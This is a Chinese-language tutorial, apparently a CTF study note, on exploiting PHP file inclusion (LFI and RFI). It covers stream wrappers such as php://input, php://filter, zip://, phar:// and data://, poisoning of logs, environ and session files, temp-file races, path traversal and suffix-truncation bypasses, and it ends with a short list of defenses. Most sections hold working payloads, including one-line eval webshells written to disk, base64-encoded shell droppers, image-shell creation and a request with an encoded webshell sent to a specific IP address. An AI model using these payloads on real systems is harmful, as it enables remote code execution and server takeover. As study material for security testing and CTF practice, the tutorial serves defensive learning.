一、文件包含与伪协议
什么是文件包含
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。未经检验,文本当代码使用。
环境要求
- allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
- allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
造成原因
常见导致文件包含的函数
- PHP:
include()
,include_once()
,require()
,require_once()
,fopen()
,readfile()
等。 - JSP Servlet:
ava.io.File()
,java.io.FileReader()
等函数 - ASP:
includefile
,includevirtual
等
函数 | 释义 |
---|---|
include() | 找不到被包含的文件时只会产生一个(E_warinng)警告,脚本将继续执行; |
include_once() | 引用一次,找不到path会发出警告 |
require() | 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本 |
require_once() | 与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含; |
fopen() | 打开一个文件 |
readfile(filename) | 读取文件并输出到缓冲区 |
require和include都支持相对或绝对路径。
利用前提条件
- 源代码中应用到了include等文件包含函数,并且需要包含的文件路径是通过用户传参的方式引入。
- 用户能够控制包含文件的参数,被包含的文件可被当前页面访问。
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
include '/home/wwwrun/'.$file.'.php';
}
?>
如上代码,file变量为用户输入变量,如果满足第二条被包含的文件可被访问,则存在文件包含漏洞
特征
- 文件包含不仅可以包含脚本类型的文件,也可包含非脚本类型的文件
- 文件包含可以包含任意文件 ===》检测文件内容是否能被解析执行
- -----
xx.com/xxxx/xxx.php?file=xx.txt
,xx.txt 文件写入 <?php phpinfo(); ?> 文件内包含php代码,应该会被打印在屏幕上 - 变量的值为一个页面,
?page=a.php
PHP声明语法
<?php phpinfo(); ?>
<? phpinfo(); ?>
<script language="php">phpinfo();</script>
利用思路
-
上传文件中包含一句话木马========》任意类型文件(可以上传的文件类型)
-
调用文件包含的参数用户可控
-
文件上传的功能+文件包含漏洞
=======》文件包含功能去包含带有一句话木马的恶意文件
=======》shell.jpg <
<?php @eval($_POST['cmd']);?>
=======》include(‘shell.jpg’)
二、本地文件包含
0x01、php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
1.利用条件:
- allow_url_include = On。
- 对allow_url_fopen不做要求。
示例代码
<?php
$page = $_GET['file'];
include($file);
?>
2.poc
?file=php://input
post:
<?php phpinfo()?>
命令执行
<?php system("ls"); ?>
poc如下图所示
利用php://input还可以写入php木马,在post中传入如下代码
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
3.例题
题目链接:https://ctf.show/challenges#web3-8
web3-8文件包含
0x02、php://filter
php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器,此类伪协议在文件包含漏洞的考察中很常见。
示例代码
<?php $page = $GET['file']; include($file.'php'); ?>1.poc
php://filter/convert.base64-encode/resource=index
如果不用base64
进行编码,包含的内容是index.php
的源代码,会直接运行,不可直接查看内容,进行base64
编码之后读取,然后再本地解码即可。此处需记得PD9开头的base64编码为<?php.
当然php://filter也可用来写
php://filter/write/convert.base64-decode/resource=shell.php
,可以配合file_put_contents
使用,
<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>
2.example
<?php
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
if(preg_match("/index/",$filename)){
die("U Think Toooo000000000000o MUCH!");
}
if(preg_match("/flag/",$filename)){
die("U Think Toooo000000000000o MUCH!");
}
@file_put_contents($filename, $c);
@highlight_file('index.php');
@highlight_file($filename);
?>
poc
http://96.45.183.46:7002/lfi_bypass/?c=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=&file=php://filter/write/convert.base64-decode/resource=234.php
3.tips
当源码为include($file.'php');
时,poc最后只需要写index即可,当源码为include($file);
时,poc需填写index.php
# index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
#flag.php
<?php phpinfo();
# flag{this is flag}
?>
base64解码获取flag
0x03、zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。与phar://
类似。区别为,压缩包中的子文件读取使用#
而不是/
。
1.tips
- zip://中只能传入绝对路径。
- 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
- 相同的类型的还有zlib://和bzip2://
2.poc
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\zip.jpg %23 phpinfo.php
3.测试注意事项
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
0x04、phar://
1.适用场景:
- 可以上传文件,但不能直接getshell。
- 存在文件包含漏洞
示例代码:
<?php
$page = $_GET['page'];
include($page);
?>
2.解决过程(poc)
首先创建压缩包。tar -cvf 111.phar shell.php
,上传之后,文件包含。
payload:http://127.0.0.1:8800/admin.php?page=phar://111.phar/shell.php
0x05、data://
-
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
-
?file=data://text/plain,
0x06、包含Apache日志文件
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
利用条件
- 对日志可读
- 知道日志文件的存储目录
tips
- 一般情况下日志存储的目录会被修改,需要读取服务器配置文件(
httpd.conf
,nginx.conf
…)或者根据phpinfo()中的信息来得知 - 日志记录的信息都可以被调整,比如记录报错的等级或者内容格式
Apache运行后一般默认会生成两个日志文件
- windows:access.log(访问日志) error.log(错误日志)
- linux: access_log error_log
攻击流程(poc)
- 访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,此时这段代码会被记录在日志中。代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件
- 通过包含日志文件来执行此代码。需知道apache日志文件的存储路径
0x07、包含environ (user-agent)
/proc/self/environ
中会保存user-agent
头。如果在user-agent
中插入php
代码,则php代码会被写入到environ
中。之后再包含它,即可。
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
查看php运行方式需查看此处,正常是这种情况
php以cgi方式运行如下
0x08、包含session文件
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件
-
找到Session内的可控变量
-
session文件路径已知,且其中内容部分可控。
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
tips
-
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
-
Php7.3之前的版本可以用session_id
-
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
示例
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
session_start()解释:
-
session的工作原理
- 首先使用session_start()函数进行初始换
- 当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
- 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
-
sessionstart()做了哪些初始化工作
-
读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123
-
若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;若没有读取到PHPSESSID这个COOKIE,也会创建_SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。
-
例题
“百度杯”CTF比赛 十二月场 notebook
0x09、LFI + session.upload_progress
-
利用条件:
- session.upload_progress.enabled = on
- 存在文件包含的点(不需要上传点)
-
漏洞原理:
Session upload progress在打开的情况下,如果上传一个与session.upload_progress.name 同名的变量,会生成一个记录上传进度的文件,该文件存储在/var/lib/php/sessions/session_{php session id}
session.upload_progress.cleanup
这个变量是用来控制进度文件的清除的,如果设成on的话啊,需要进行条件竞争。
0x10、包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup
0x11、包含上传文件
如果上传功能限制很死,可上传一个含小马的非脚本文件(或 通过FTP等手段),在通过包含漏洞执行该文件里的小马。
图片马的制作方式如下,在cmd控制台下输入:
进入1.jph和2.php的文件目录后,执行:
copy 1.jpg/b+2.php 3.jpg
将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:
shell1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
shell2
file_put_contents(文件名,文件内容);
file_put_contents("shell.php","<?php phpinfo()?>");
# 将小马base64编码后运用php://filter写入shell.php
<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg
,包含这张图片,将会在index.php
所在的目录下生成shell.php
0x12、LFI + 文件上传 + 条件竞争
-
利用条件:
- 文件包含点
- phpinfo页面
-
漏洞原理:
在php文件上传的时候,会针对上传的文件产生一个临时文件(一般在/tmp目录下),当用户确认了文件的上传后,会把该文件移动到指定的位置。而这个文件的文件名可以通过phpinfo页面看到,进一步地,可以使用文件包含包含他(需要条件竞争)。
但是,我们不能等到phpinfo完全返回后再去文件包含,因为那个时候临时文件已经删除了,因此我们需要在socket底层对数据进行监听,一旦出现/tmp/xxxx,就立即发送文件包含的攻击payload。
0x13、LFI_self
-
利用条件:
- 文件包含点
- 目录遍历tmp目录
-
漏洞原理:
比如该url存在文件包含漏洞:
http://ip:port/file.php?file=1.txt
,那么,直接包含自身会造成无限循环:http://ip:port/file.php?file=file.php
。如果向该无限循环的地址put上传文件,则产生临时文件,该临时文件会在该php文件正常结束时被删除,但提交的请求造成了死循环,php会清空自己的内存堆栈,以便从错误中恢复过来,这时对临时文件的删除操作就无法完成,当跳出这个周期后,这个临时文件形式保存在/tmp目录下了。结合目录遍历+文件包含的漏洞组合即可利用。
三、远程文件包含
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
- allow_url_fopen = On
- allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
?file=[http|https|ftp]://example.com/shell.txt
一句话木马:
<?php print_r(scandir('.'));?>四、文件包含漏洞的绕过方法
0x01、指定前缀绕过
一、目录遍历(常见)
使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php
测试代码如下:
<?php
error_reporting(0);
$file = $_GET["file"];
//前缀
include "/var/www/html/".$file;
highlight_file(__FILE__);
?>
现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,即 /var/log/flag.txt,从而包含成功。
二、编码绕过
服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。
- 利用url编码
-
…/
- %2e%2e%2f
- …%2f
- %2e%2e/
-
…\
- %2e%2e%5c
- …%5c
- %2e%2e\
- 二次编码
- …/
- %252e%252e%252f
- …\
- %252e%252e%255c
- 容器/服务器的编码方式
- …/
- …%c0%af
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- …\
- …%c1%9c
0x02、指定后缀绕过
后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
<?php
error_reporting(0);
$file = $_GET["file"];
//后缀
include $file.".txt";
highlight_file(__FILE__);
?>
一、利用url
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
- [访问参数]
?file=http://localhost:8081/phpinfo.php?
- [拼接后]
?file=http://localhost:8081/phpinfo.php?.txt
二、利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
-
[访问参数]
?file=zip://D:\zip.jpg%23phpinfo
-
[拼接后]
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
- [访问参数]
?file=phar://zip.zip/phpinfo
- [拼接后]
?file=phar://zip.zip/phpinfo.txt
0x03、长度截断
利用条件:
php版本 < php 5.2.8
原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
?file=./././。。。省略。。。././shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
0x04、%00截断
利用条件:
- magic_quotes_gpc = Off
- php版本 < php 5.3.4
利用方法:
-
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
注:现在用到%00阶段的情况已经不多了
五、文件包含漏洞防御
- allow_url_include和allow_url_fopen最小权限化
- 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
- 白名单限制包含文件,或者严格过滤 . / *